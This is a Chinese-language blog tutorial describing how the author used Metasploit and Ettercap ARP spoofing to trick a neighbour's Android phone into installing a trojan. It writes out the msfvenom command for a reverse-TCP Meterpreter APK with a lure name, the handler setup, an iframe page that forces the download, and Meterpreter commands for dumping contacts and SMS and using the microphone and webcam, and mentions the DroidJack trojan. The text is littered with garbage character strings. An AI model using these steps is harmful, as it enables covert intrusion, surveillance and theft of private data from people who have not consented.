metasploit+ettercap中间人攻击成功入侵邻居手机

admin

五、msf+ettercap入侵邻居安卓手机

. G, z" E* x" d& H( [

首先启动msf + k1 ^4 e" g& p$ h$ p

8 U7 J% n- E# o4 [) }% N7 J

3 I$ g! @6 L7 J: m$ a% B5 Z 先用kali生成一个安卓木马，如下命令： * W$ d+ q( `& S t; I; L" _

2 S4 T' q# L# |4 N' _& f

- `; x# r0 \0 j+ X4 U Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk ; H* X9 h9 d2 p

; x3 }0 F6 d+ k& u

为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 O( P/ Z I5 p) Z

然后进入msf

* n6 |$ Z$ Q% c C3 v4 O6 `" d

use exploit/multi/handler

3 W/ n* A. M3 ^, x9 K set payload android/meterpreter/reverse_tcp - I: i/ c* l3 }: t% A

9 p( u* t' n' j& G set LHOST 192.168.0.109 //ip为kaili的ip # y( @, p* V: z" q

set LPORT 44444 //端口一定要与前面生成的木马的端口一致

Exploit

& n9 g. X$ {) w' L; A% |1 v9 Q/ _6 w

, P2 K+ q2 R$ s' G# Z   / ]9 {0 N. u! H8 f+ Z2 u

* N2 V) i( Q2 U! k% g2 F! `

下面我们开启ettercap -G ! L% b7 \- Z2 ]

( Q. g- \$ _0 G0 \* L

我物理IP为 9 x% m8 B5 b" D W/ e

. Q2 k0 ]2 v5 l7 @- b   4 {+ D9 I. }: a: L1 m( ^

4 r0 g1 a1 s1 A5 j0 C% f1 m! L

0 L# P$ r, `) _7 q" \ 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， : n' S# R | \

8 g, X, Y# q- U& b% H7 ^" C4 [5 ^

下面我们来设置一下

; ?6 p3 V3 r4 w6 ?

  3 c4 ? m I% ^ ~; D

; I7 g p" C$ K 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， , H4 ^( A4 |6 z

4 C O6 o) `/ F4 ^3 M3 y  

9 S0 U7 r- G: j) \& q8 E

 

$ ^" Q& {0 b# N

  8 P7 H, V/ j* g

; {6 m* ~0 d& V) e

 

! }4 O' S* m; E

  4 q# _ K/ {2 X+ U& D$ F4 P

- N0 j4 j( e/ D! X R  

9 G" m w9 s1 ^

7 ^* F6 u/ k# M) e5 `" G( C0 q; |  

( l( w+ R7 N7 P3 y% E. ]  

 

7 J( w0 v% z; d3 u1 R

  7 [3 c' p' \5 H" [1 o9 h5 c" i/ t

) \& `$ f+ ]0 R# V  

5 }# o* T) J( Z  

4 N3 D! E9 T3 d* `  

下面我们开始攻击

7 s/ [8 h, w# }, q% T0 N

 

 

" m3 L7 p w. W" H   8 L- U9 W2 T7 D* @' z" w' A

0 V T0 Y) A- p9 T   : w' }" n* O/ I( {) l/ p

c1 \/ E4 `% {& S0 L$ U% u   " G3 G# P0 L0 t. {) c

大概过了5分钟多，发现反弹成功了 ' l, R" q7 H7 R9 T. ^

1 y- M5 F" E) w' C  

# U; S, @! [3 y# ]   ' X1 i3 J3 n" |" L r; M8 V0 u6 n

$ D- i- l) Z; [7 q0 `

& J' W+ Z S# l9 [   & k( n M% P2 d" d0 ^

. P$ U, [- Q8 A" \. K: g

/ e7 }% H. R# F, R6 K8 R7 d   ; h9 z# t& G- y* f9 c- x: ~

0 B( p! A, O! s- J  

# y) E D$ ~/ y' V4 l$ \; @   " w3 h/ z, N8 Z/ g. i

+ F$ i2 S0 _- Q2 H

  4 t" Z& k* m) b( A$ _6 R

3 u& Q- }( V1 g' C6 V 执行命令

/ V2 t$ I) d. m& f

8 `8 o$ n; ^. N1 O   6 l: S, t8 i2 `# l% y# \- m

' K# C4 \+ {7 y$ r) ^& z4 m7 J; I

$ E& H6 o; L/ L" z8 n dump_contacts    --》这个是导出电话 7 k M+ O: }& H' I8 _

6 W: Y4 t- d4 i. R0 r

0 X1 H: _! M8 u6 r dump_sms --》这个是导出信息 % n3 Z; [" |: L; {( n4 ~6 [" c* F

* V5 g4 _' l& ~( p, @4 n7 o

. y% R( S- ]# r/ I record_mic     Record audio from the default microphone for X seconds

8 F8 r' d0 ~" `

    webcam_chat    Start a video chat 0 V2 }* a& ?" ^4 g6 l. y0 W! E+ E v

9 c' I. g8 c: E

$ }5 L$ R, b2 Z! l. ]( v+ _% N. R     webcam_list    List webcams

    webcam_snap    Take a snapshot from the specified webcam 3 o+ `/ o: K: T5 d4 i! Z

, @' y( A( r- |+ P webcam_stream  lay a video stream from the specified webcam

# Y+ ?2 _4 F$ `# Q y- p7 `

6 L7 V2 K1 @' t8 U# a+ [   / w* ]' `& S. v) M# J5 v8 }

  + K0 a' q, h: W

% T+ b8 [3 V; B* p

我们打开看一下电话薄，

' ^9 X& d$ ]! ~+ T: l" r6 f' S   7 \% o2 e* @' F0 l: U( o

  $ a4 Z; B5 ]1 @3 ?1 R9 M/ ^3 w

( }# v6 ^2 p& T0 O

 

# S+ [0 D2 F- M

; G& C' `4 o! N q% r) o  

2 D! z6 S' W2 `: y' U3 q

 

 

7 }) \* p% U1 u0 z" V4 ]1 K 我们同时欺骗成DroidJack木马，使用方法如图： & u% E& o D7 O+ y7 Q7 v$ @

9 Z/ m5 S/ h) z4 K1 W, P+ v' O$ x

- `9 V, L1 Y9 {4 |, V+ Y: d, E  

  9 M) n+ \3 {( B; l0 a4 r" E

  $ m. y$ B+ y8 p8 M) u; K

/ ?4 r4 A0 `0 m% u8 N& R3 N6 J 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口

2 @( o" `( g: U$ a, J  

' ]* o. N' I, s3 d3 ?) }) B& ?' Z  

% l0 E& \8 R+ P7 B& K' I# i- L0 L: _9 N  

2 |% ~) G% B( X' P ( v& L' m+ I6 F* z- h# x

4 |! R4 \3 `' w4 a% @

' h8 k# j Z, h
5 y F2 }" H# N. M